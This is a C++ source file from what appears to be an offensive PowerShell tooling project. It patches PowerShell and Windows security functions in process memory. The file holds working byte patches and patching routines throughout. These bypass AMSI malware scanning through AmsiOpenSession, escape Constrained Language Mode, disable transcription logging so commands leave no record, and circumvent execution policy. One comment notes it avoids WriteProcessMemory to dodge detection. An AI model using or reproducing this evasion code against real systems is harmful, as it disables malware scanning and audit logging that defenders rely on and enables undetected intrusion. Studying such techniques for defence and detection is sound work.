Files
scrt-PowerChell/PowerChellLib/patch.cpp
T
2025-02-19 10:41:55 +01:00

199 lines
6.6 KiB
C++

#include "common.h"
#include "patch.h"
#include "clr.h"
//
// The following function patches 'AMSI!AmsiOpenSession' so that it returns the
// error code 0x80070057 (invalid parameters) when invoked. It does so by replacing
// a conditonal jump (JZ) at the beginning of the function with a simple jump (JMP).
//
// Below is the part of AMSI!AmsiOpenSession we're interest in:
//
// 48 85 d2 TEST param_2,param_2 <-- Test if return value pointer is null
// 74 0c JZ LAB_180008aa1 <-- Conditional JZ replaced by JMP
// ...
// b8 57 00 MOV EAX,0x80070057 <-- Return error code 0x80070057
// 07 80
// c3 RET
//
// Credit:
// - https://github.com/anonymous300502/Nuke-AMSI
//
BOOL PatchAmsiOpenSession()
{
BYTE bPatch[] = { 0xeb };
return PatchUnmanagedFunction(
L"amsi",
"AmsiOpenSession",
bPatch,
ARRAYSIZE(bPatch),
3
);
}
//
// PowerShell uses the method 'GetSystemLockdownPolicy' (SystemPolicy) to get the
// value of the execution policy enforced on the system. By patching this method
// with the following instructions, we force it to always return the value
// SystemEnforcementMode.None, which to translates to "Full Language Mode".
//
// xor rax, rax; <-- Set return value to 0
// ret;
//
// Credit:
// - https://github.com/calebstewart/bypass-clm
//
BOOL PatchSystemPolicyGetSystemLockdownPolicy(mscorlib::_AppDomain* pAppDomain)
{
BYTE bPatch[] = { 0x48, 0x31, 0xc0, 0xc3 }; // mov rax, 0; ret;
return PatchManagedFunction(
pAppDomain,
L"System.Management.Automation",
L"System.Management.Automation.Security.SystemPolicy",
L"GetSystemLockdownPolicy",
0,
bPatch,
ARRAYSIZE(bPatch),
0
);
}
//
// When transcription is enabled, PowerShell uses a class named 'TranscriptionOption'
// to store information about the log file path for instance. It also has a method
// named 'FlushContentToDisk' responsible for writing user prompts to this file. By
// patching this method with a simple 'ret' instruction, we effectively prevent it
// from writing anything to disk.
//
// Credit:
// - https://github.com/OmerYa/Invisi-Shell
//
// Links:
// - https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/hostifaces/MshHostUserInterface.cs
//
BOOL PatchTranscriptionOptionFlushContentToDisk(mscorlib::_AppDomain* pAppDomain)
{
BYTE bPatch[] = { 0xc3 }; // ret;
return PatchManagedFunction(
pAppDomain,
L"System.Management.Automation",
L"System.Management.Automation.Host.TranscriptionOption",
L"FlushContentToDisk",
0,
bPatch,
ARRAYSIZE(bPatch),
0
);
}
//
// Whatever the execution policy enforced on a system, the class 'AuthorizationManager'
// (System.Management.Automation) is in charge of determining whether a given script
// file should be executed, thanks to its internal method 'ShouldRunInternal'. This
// method does not return a boolean value, but instead throws an exception in case the
// execution is restricted. Therefore, by patching this function with a simple 'ret'
// instruction, we make it so that this function never throws an exception, this
// circumventing the execution policy.
//
// This technique was inspired by a blog post from NetSPI (see credit section), which
// mentions the 'AuthorizationManager' class (technique #12).
//
// Credit:
// - https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/
//
// Links:
// - https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/SecurityManagerBase.cs
//
BOOL PatchAuthorizationManagerShouldRunInternal(mscorlib::_AppDomain* pAppDomain)
{
BYTE bPatch[] = { 0xc3 }; // ret;
return PatchManagedFunction(
pAppDomain,
L"System.Management.Automation",
L"System.Management.Automation.AuthorizationManager",
L"ShouldRunInternal",
3,
bPatch,
ARRAYSIZE(bPatch),
0
);
}
BOOL GetProcedureAddress(LPCWSTR pwszModuleName, LPCSTR pszProcedureName, PULONG_PTR pProcedureAddress)
{
BOOL bResult = FALSE;
HMODULE hModule = NULL;
FARPROC pProcedure = NULL;
// We assume the module has already been loaded
hModule = GetModuleHandleW(pwszModuleName);
EXIT_ON_WIN32_ERROR(L"GetModuleHandleW", hModule == NULL);
pProcedure = GetProcAddress(hModule, pszProcedureName);
EXIT_ON_WIN32_ERROR(L"", pProcedure == NULL);
bResult = TRUE;
*pProcedureAddress = reinterpret_cast<ULONG_PTR>(pProcedure);
exit:
return bResult;
}
BOOL PatchProcedure(LPVOID pTargetAddress, LPBYTE pSourceBuffer, DWORD dwSourceBufferSize)
{
BOOL bResult = FALSE;
DWORD dwOldProtect = 0;
BOOL bSuccess = FALSE;
bSuccess = VirtualProtectEx(GetCurrentProcess(), pTargetAddress, dwSourceBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
EXIT_ON_WIN32_ERROR(L"VirtualProtectEx", bSuccess == FALSE);
// Avoid using WriteProcessMemory / NtWriteVirtualMemory
memcpy_s(pTargetAddress, dwSourceBufferSize, pSourceBuffer, dwSourceBufferSize);
bSuccess = VirtualProtectEx(GetCurrentProcess(), pTargetAddress, dwSourceBufferSize, dwOldProtect, &dwOldProtect);
EXIT_ON_WIN32_ERROR(L"VirtualProtectEx", bSuccess == FALSE);
bResult = TRUE;
exit:
return bResult;
}
BOOL PatchUnmanagedFunction(LPCWSTR pwszMdoduleName, LPCSTR pszProcedureName, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset)
{
ULONG_PTR pProcedureAddress = 0;
if (!GetProcedureAddress(pwszMdoduleName, pszProcedureName, &pProcedureAddress))
return FALSE;
pProcedureAddress += dwPatchOffset;
//printf("[*] Patching unmanaged function '%s' @ 0x%llx\n", pszProcedureName, pProcedureAddress);
if (!PatchProcedure(reinterpret_cast<LPVOID>(pProcedureAddress), pbPatch, dwPatchSize))
return FALSE;
return TRUE;
}
BOOL PatchManagedFunction(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, LPCWSTR pwszMethodName, DWORD dwNbArgs, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset)
{
ULONG_PTR pMethodAddress = 0;
if (!GetJustInTimeMethodAddress(pAppDomain, pwszAssemblyName, pwszClassName, pwszMethodName, dwNbArgs, &pMethodAddress))
return FALSE;
pMethodAddress += dwPatchOffset;
//wprintf(L"[*] Patching managed function '%ws' @ 0x%llx\n", pwszMethodName, pMethodAddress);
if (!PatchProcedure(reinterpret_cast<LPVOID>(pMethodAddress), pbPatch, dwPatchSize))
return FALSE;
return TRUE;
}